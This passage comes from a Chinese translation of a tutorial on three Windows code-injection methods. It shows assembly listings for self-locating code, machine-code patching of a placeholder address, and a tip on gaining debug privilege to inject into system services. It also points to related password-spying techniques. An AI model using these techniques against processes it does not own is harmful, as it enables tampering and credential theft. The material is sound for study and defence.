ecx\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; }\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; pData\u0026#8211;;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; //\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8211;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; // 子类代码\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; // \u0026#8230;\u0026#8230;..\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; //\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8211;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; // 调用原来的窗口过程\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; return pData-\u0026gt;fnCallWindowProc( pData-\u0026gt;fnOldProc, \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; hwnd,uMsg,wParam,lParam );\n}\n","permalink":"https://hessian.cn/p/529.html","summary":"\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 本文章翻译自Robet Kuster的Three Ways to Inject Your Code into Another Process一文，原版地址见下面。本文章版权归原作者所有。\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 如果转载该译文,请保证文章的完整性，并注明来自www.farproc.com\n袁晓辉\u0026nbsp;\u0026nbsp;\u0026nbsp;\n2005/5/20\n","title":"向其他进程注入代码的三种方法[1]"},{"content":"\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 这是什么意思？每个进程都有一个特殊的寄存器，这个寄存器指向下一条要执行的指令的内存地址，即32位Intel和AMD处理器上所谓的EIP寄存器。因为EIP是个特殊的寄存器，所以你不能像访问通用寄存器（EAX，EBX等）那样来访问它。换句话说，你找不到一个可以用来寻址EIP并且对它进行读写的操作码（OpCode）。然而，EIP同样可以被JMP，CALL，RET等指令隐含地改变（事实上它一直都在改变）。让我们举例说明32位的Intel和AMD处理器上CALL/RET是如何工作的吧：\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 当我们用CALL调用一个子程序时，这个子程序的地址被加载进EIP。同时，在EIP被改变之前，它以前的值会被自动压栈（在后来被用作返回指令指针[return instruction-pointer]）。在子程序的最后RET指令自动把这个值从栈中弹出到EIP。\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 现在我们知道了如何通过CALL和RET来修改EIP的值了，但是如何得到他的当前值？\n还记得CALL把EIP的值压栈了吗？所以为了得到EIP的值我们调用了一个“假（dummy）函数”然后弹出栈顶值。看一下编译过的NewProc：\nAddress\u0026nbsp;\u0026nbsp;\u0026nbsp; OpCode/Params\u0026nbsp;\u0026nbsp;\u0026nbsp; Decoded instruction\n\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8211;\n:00401000\u0026nbsp;\u0026nbsp; 55\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; push ebp\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; ; entry point of\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; ; NewProc\n:00401001\u0026nbsp;\u0026nbsp; 8BEC\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; mov ebp, esp\n:00401003\u0026nbsp;\u0026nbsp; 51\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; push ecx\n:00401004\u0026nbsp;\u0026nbsp; E800000000\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; call 00401009\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; ; *a*\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; call dummy\n:00401009\u0026nbsp;\u0026nbsp; 59\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; pop ecx\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; ; *b*\n:0040100A\u0026nbsp;\u0026nbsp; 83E909\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; sub ecx, 00000009\u0026nbsp;\u0026nbsp;\u0026nbsp; ; *c*\n:0040100D\u0026nbsp;\u0026nbsp; 894DFC\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; mov [ebp-04], ecx\u0026nbsp;\u0026nbsp;\u0026nbsp; ; mov pData, ECX\n:00401010\u0026nbsp;\u0026nbsp; 8B45FC\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; mov eax, [ebp-04]\n:00401013\u0026nbsp;\u0026nbsp; 83E814\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; sub eax, 00000014\u0026nbsp;\u0026nbsp;\u0026nbsp; ; pData\u0026#8211;;\n\u0026#8230;..\n\u0026#8230;..\n:0040102D\u0026nbsp;\u0026nbsp; 8BE5\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; mov esp, ebp\n:0040102F\u0026nbsp;\u0026nbsp; 5D\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; pop ebp\n:00401030\u0026nbsp;\u0026nbsp; C21000\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; ret 0010\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; a． 一个假的函数调用；仅仅跳到下一条指令并且（译者注：更重要的是）把EIP压栈。\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; b． 弹出栈顶值到ECX。ECX就保存的EIP的值；这也就是那条“pop ECX”指令的地址。\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; c． 注意从NewProc的入口点到“pop ECX”指令的“距离”为9字节；因此把ECX减去9就得到的NewProc的地址了。\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 这样一来，不管被复制到什么地方，NewProc总能正确计算自身的地址了！然而，要注意从NewProc的入口点到“pop ECX”的距离可能会因为你的编译器/链接选项的不同而不同，而且在Release和Degub版本中也是不一样的。但是，不管怎样，你仍然可以在编译期知道这个距离的具体值。\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 1． 首先，编译你的函数。\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 2． 在反汇编器（disassembler）中查出正确的距离值。\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 3． 最后，使用正确的距离值重新编译你的程序。\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 这也是InjectEx中使用的解决方案。InjectEx和HookInjEx类似，交换开始按钮上的鼠标左右键点击事件。\n解决方案2\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 在远程进程中把INJDATA放在NewProc的前面并不是唯一的解决方案。看一下下面的NewProc：\nstatic LRESULT CALLBACK NewProc(\n\u0026nbsp;\u0026nbsp; HWND hwnd,\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; // handle to window\n\u0026nbsp;\u0026nbsp; UINT uMsg,\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; // message identifier\n\u0026nbsp;\u0026nbsp; WPARAM wParam,\u0026nbsp;\u0026nbsp; // first message parameter\n\u0026nbsp;\u0026nbsp; LPARAM lParam ) // second message parameter\n{\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; INJDATA* pData = 0xA0B0C0D0;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; // 一个假值\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; //\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8211;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; // 子类代码\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; // \u0026#8230;\u0026#8230;..\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; //\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8211;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; // 调用以前的窗口过程\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; return pData-\u0026gt;fnCallWindowProc( pData-\u0026gt;fnOldProc, \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; hwnd,uMsg,wParam,lParam );\n}\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 这里，0XA0B0C0D0仅仅是INJDATA在远程进程中的地址的占位符（placeholder）。你无法在编译期得到这个值，然而你在调用VirtualAllocEx（为INJDATA分配内存时）后确实知道INJDATA的地址！（译者注：就是VirtualAllocEx的返回值）\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 我们的NewProc编译后大概是这个样子：\nAddress\u0026nbsp;\u0026nbsp;\u0026nbsp; OpCode/Params\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; Decoded instruction\n\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8211;\n:00401000\u0026nbsp;\u0026nbsp; 55\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; push ebp\n:00401001\u0026nbsp;\u0026nbsp; 8BEC\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; mov ebp, esp\n:00401003\u0026nbsp;\u0026nbsp; C745FCD0C0B0A0\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; mov [ebp-04], A0B0C0D0\n:0040100A\u0026nbsp;\u0026nbsp; \u0026#8230;\n\u0026#8230;.\n\u0026#8230;.\n:0040102D\u0026nbsp;\u0026nbsp; 8BE5\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; mov esp, ebp\n:0040102F\u0026nbsp;\u0026nbsp; 5D\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; pop ebp\n:00401030\u0026nbsp;\u0026nbsp; C21000\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; ret 0010\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 编译后的机器码应该为：558BECC745FCD0C0B0A0\u0026#8230;\u0026#8230;8BE55DC21000。\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 现在，你这么做：\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 1． 把INJDATA，ThreadFunc和NewFunc复制到目的进程。\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 2． 改变NewPoc的机器码，让pData指向INJDATA的真实地址。\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 比如，假设INJDATA的的真实地址（VirtualAllocEx的返回值）为0x008a0000，你把NewProc的机器码改为：\n558BECC745FCD0C0B0A0\u0026#8230;\u0026#8230;8BE55DC21000\u0026nbsp;\u0026nbsp; \u0026lt;- 修改前的 NewProc 1\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\n558BECC745FC00008A00\u0026#8230;\u0026#8230;8BE55DC21000\u0026nbsp;\u0026nbsp; \u0026lt;- 修改后的 NewProc\u0026nbsp;\u0026nbsp;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 也就是说，你把假值 A0B0C0D0改为INJDATA的真实地址2\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 3． 开始指向远程的ThreadFunc，它子类了远程进程中的控件。\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026amp;sup1; 你可能会问，为什么A0B0C0D0和008a0000在编译后的机器码中为逆序的。这时因为Intel和AMD处理器使用littl-endian标记法（little-endian notation）来表示它们的（多字节）数据。换句话说：一个数的低字节（low-order byte）在内存中被存放在最低位，高字节（high-order byte）存放在最高位。\n想像一下，存放在四个字节中的单词“UNIX”，在big-endia系统中被存储为“UNIX”，在little-endian系统中被存储为“XINU”。\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026amp;sup2; 一些蹩脚的破解者用类似的方法来修改可执行文件的机器码，但是一个程序一旦载入内存，就不能再更改自身的机器码（一个可执行文件的.text段是写保护的）。我们能修改远程进程中的NewProc是因为它所处的那块内存在分配时给予了PAGE_EXECUTE_READWRITE属性。\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 何时使用CreateRemoteThread和WriteProcessMemory技术\n\u0026nbsp;\u0026nbsp;\u0026nbsp; 通过CreateRemoteThread和WriteProcessMemory来注入代码的技术，和其他两种方法相比，不需要一个额外的DLL文件，因此更灵活，但也更复杂更危险。一旦你的ThreadFunc中有错误，远程线程会立即崩溃（看附录F）。调试一个远程的ThreadFunc也是场恶梦，所以你应该在仅仅注入若干条指令时才使用这个方法。要注入大量的代码还是使用另外两种方法吧。\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 再说一次，你可以在文章的开头部分下载到WinSpy，InjectEx和它们的源代码。\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 写在最后的话\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 最后，我们总结一些目前还没有提到的东西：\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 方法 适用的操作系统 可操作的进程进程\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; I. Windows钩子 Win9x 和WinNT 仅限链接了USER32.DLL的进程1\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; II. CreateRemoteThread \u0026amp; LoadLibrary 仅WinNT2 所有进程3，包括系统服务4\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; III. CreateRemoteThread \u0026amp; WriteProcessMemory 近WinNT 所有进程，包括系统服务\u0026nbsp;\u0026nbsp;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 1． 很明显，你不能给一个没有消息队列的线程挂钩。同样SetWindowsHookEx也对系统服务不起作用（就算它们连接了USER32）。\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 2． 在Win9x下没有CreateRemoteThread和VirtualAllocEx（事实上可以在9x上模拟它们，但是到目前为止还只是个神话）\n\u0026nbsp;\u0026nbsp;\u0026nbsp; 3． 所有进程 ＝ 所有的Win32进程 ＋ csrss.exe\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 本地程序（native application）比如smss.exe, os2ss.exe, autochk.exe，不使用Win32 APIs，也没有连接到kernel32.dll。唯一的例外是csrss.exe，win32子系统自身。它是一个本地程序，但是它的一些库（比如winsrv.dll）需要Win32 DLL包括kernel32.dll.\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 4.如果你向注入代码到系统服务或csrss.exe，在打开远程进程的句柄（OpenProcess）之前把你的进程的优先级调整为“SeDebugprovilege”(AdjustTokenPrivileges)。\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 大概就这些了吧。还有一点你需要牢记在心：你注入的代码（特别是存在错误时）很容易就会把目的进程拖垮。记住：责任随权利而来（Power comes with responsibility）！\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 这篇文章中的很多例子都和密码有关，看过这篇文章后你可能也会对Zhefu Zhang（译者注：大概是一位中国人，张哲夫??）写的Supper Password Spy++感兴趣。他讲解了如何从IE的密码框中得到密码，也说了如何保护你的密码不被这种攻击。\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 最后一点：读者的反馈是文章作者的唯一报酬，所以如果你认为这篇文章有作用，请留下你的评论或给它投票。更重要的是，如果你发现有错误或bug；或你认为什么地方做得还不够好，有需要改进的地方；或有不清楚的地方也都请告诉我。\n感谢\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 首先，我要感谢我在CodeGuru（这篇文章最早是在那儿发表的）的读者，正是由于你们的鼓励和支持这篇文章才得以从最初的1200单词发展到今天这样6000单词的“庞然大物”。如果说有一个人我要特别感谢的话，他就是Rado Picha。这篇文章的一部分很大程度上得益于他对我的建议和帮助。最后，但也不能算是最后，感谢Susan Moore，他帮助我跨越了那个叫做“英语”的雷区，让这篇文章更加通顺达意。\n――――――――――――――――――――――――――――――――――――\n附录\nA) 为什么kernel32.dll和user32.dll中是被映射到相同的内存地址？\n我的假定：以为微软的程序员认为这么做可以优化速度。让我们来解释一下这是为什么。\n一般来说，一个可执行文件包含几个段，其中一个为“.reloc”段。\n当链接器生成EXE或DLL时，它假定这个文件会被加载到一个特定的地址，也就是所谓的假定/首选加载/基地址（assumed/preferred load/base address）。内存映像（image）中的所有绝对地址都时基于该“链接器假定加载地址”的。如果由于某些原因，映像没有加载到这个地址，那么PE加载器（PE loader）就不得不修正该映像中的所有绝对地址。这就是“.reloc”段存在的原因：它包含了一个该映像中所有的“链接器假定地址”与真正加载到的地址之间的差异的列表（注意：编译器产生的大部分指令都使用一种相对寻址模式，所以，真正需要重定位[relocation]的地方并没有你想像的那么多）。如果，从另一方面说，加载器可以把映像加载到链接器首选地址，那么“.reloc”段就会被彻底忽略。\n但是，因为每一个Win32程序都需要kernel32.dll，大部分需要user32.dll，所以如果总是把它们两个映射到其首选地址，那么加载器就不用修正kernel32.dll和user32.dll中的任何（绝对）地址，加载时间就可以缩短。\n让我们用下面的例子来结束这个讨论：\n把一个APP.exe的加载地址改为kernel32的（/base:\u0026#8221;0x77e80000\u0026#8243;）或user32的（/base:\u0026#8221;0x77e10000\u0026#8243;）首选地址。如果App.exe没有引入UESE32，就强制LoadLibrary。然后编译App.exe，并运行它。你会得到一个错误框（“非法的系统DLL重定位”），App.exe无法被加载。\n为什么？当一个进程被创建时，Win2000和WinXP的加载器会检查kernel32.dll和user32.dll是否被映射到它们的首选地址（它们的名称是被硬编码进加载器的），如果没有，就会报错。在WinNT4 中ole32.dll也会被检查。在WinNT3.51或更低版本中，则不会有任何检查，kernel32.dll和user32.dll可以被加载到任何地方。唯一一个总是被加载到首选地址的模块是ntdll.dll，加载器并不检查它，但是如果它不在它的首选地址，进程根本无法创建。\n总结一下：在WinNT4或更高版本的操作系统中：\n●总被加载到它们的首选地址的DLL有：kernel32.dll，user32.dll和ntdll.dll。\n●Win32程序（连同csrss.exe）中一定存在的DLL：kernel32.dll和ntdll.dll。\n●所有进程中都存在的dll：ntdll.dll。\nB) /GZ编译开关\n在Debug时，/GZ开关默认是打开的。它可以帮你捕捉一些错误（详细内容参考文档）。但是它对我们的可执行文件有什么影响呢？\n当/GZ被使用时，编译器会在每个函数，包含函数调用中添加额外的代码（添加到每个函数的最后面）来检查ESP栈指针是否被我们的函数更改过。但是，等等，ThreadFunc中被添加了一个函数调用？这就是通往灾难的道路。因为，被复制到远程进程中的ThreadFunc将调用一个在远程进程中不存在的函数。\nC) static函数和增量连接（Incremental linking）\n增量连接可以缩短连接的时间，在增量编译时，每个函数调用都是通过一个额外的JMP指令来实现的（一个例外就是被声明为static的函数！）这些JMP允许连接器移动函数在内存中的位置而不用更新调用该函数的CALL。但是就是这个JMP给我们带来了麻烦：现在ThreadFunc和AfterThreadFunc将指向JMP指令而不是它们的真实代码。所以，当计算ThreadFunc的大小时：\nconst int cbCodeSize = ((LPBYTE) AfterThreadFunc \u0026#8211; (LPBYTE) ThreadFunc);\n你实际得到的将是指向ThreadFunc和AfterThreadFunc的JMP指令之间的“距离”。现在假设我们的ThreadFunc在004014C0，和其对应的JMP指令在00401020\n:00401020\u0026nbsp;\u0026nbsp;\u0026nbsp; jmp\u0026nbsp;\u0026nbsp; 004014C0\n\u0026#8230;\n:004014C0\u0026nbsp;\u0026nbsp;\u0026nbsp; push EBP\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; ; ThreadFunc的真实地址\n:004014C1\u0026nbsp;\u0026nbsp;\u0026nbsp; mov\u0026nbsp;\u0026nbsp; EBP, ESP\n\u0026#8230;\n然后，\nWriteProcessMemory( .., \u0026amp;ThreadFunc, cbCodeSize, ..);\n将把“JMP 004014C0”和其后的cbCodeSize范围内的代码而不是ThreadFunc复制到远程进程。远程线程首先会执行“JMP 004010C0”，然后一直执行到这个进程代码的最后一条指令（译者注：这当然不是我们想要的结果）。\n然而，如果一个函数被声明为static，就算使用增量连接，也不会被替换为JMP指令。这就是为什么我在规则#4中说把ThreadFunc和AfterThreadFunc声明为static或禁止增量连接的原因了。（关于增量连接的其他方面请参看Matt Pietrek写的“Remove Fatty Deposits from Your Applications Using Our 32-bit Liposuction Tools”）\nD) 为什么ThreadFunc只能有4K的局部变量？\n局部变量总是保存在栈上的。假设一个函数有256字节的局部变量，当进入该函数时（更确切地说是在functions prologue中），栈指针会被减去256。像下面的函数：\nvoid Dummy(void) {\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; BYTE var[256];\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; var[0] = 0;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; var[1] = 1;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; var[255] = 255;\n}\n会被编译为类似下面的指令：\n:00401000\u0026nbsp;\u0026nbsp;\u0026nbsp; push ebp\n:00401001\u0026nbsp;\u0026nbsp;\u0026nbsp; mov\u0026nbsp;\u0026nbsp; ebp, esp\n:00401003\u0026nbsp;\u0026nbsp;\u0026nbsp; sub\u0026nbsp;\u0026nbsp; esp, 00000100\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; ; change ESP as storage for\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; ; local variables is needed\n:00401006\u0026nbsp;\u0026nbsp;\u0026nbsp; mov\u0026nbsp;\u0026nbsp; byte ptr [esp], 00\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; ; var[0] = 0;\n:0040100A\u0026nbsp;\u0026nbsp;\u0026nbsp; mov\u0026nbsp;\u0026nbsp; byte ptr [esp+01], 01\u0026nbsp;\u0026nbsp;\u0026nbsp; ; var[1] = 1;\n:0040100F\u0026nbsp;\u0026nbsp;\u0026nbsp; mov\u0026nbsp;\u0026nbsp; byte ptr [esp+FF], FF\u0026nbsp;\u0026nbsp;\u0026nbsp; ; var[255] = 255;\n:00401017\u0026nbsp;\u0026nbsp;\u0026nbsp; mov\u0026nbsp;\u0026nbsp; esp, ebp\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; ; restore stack pointer\n:00401019\u0026nbsp;\u0026nbsp;\u0026nbsp; pop\u0026nbsp;\u0026nbsp; ebp\n:0040101A\u0026nbsp;\u0026nbsp;\u0026nbsp; 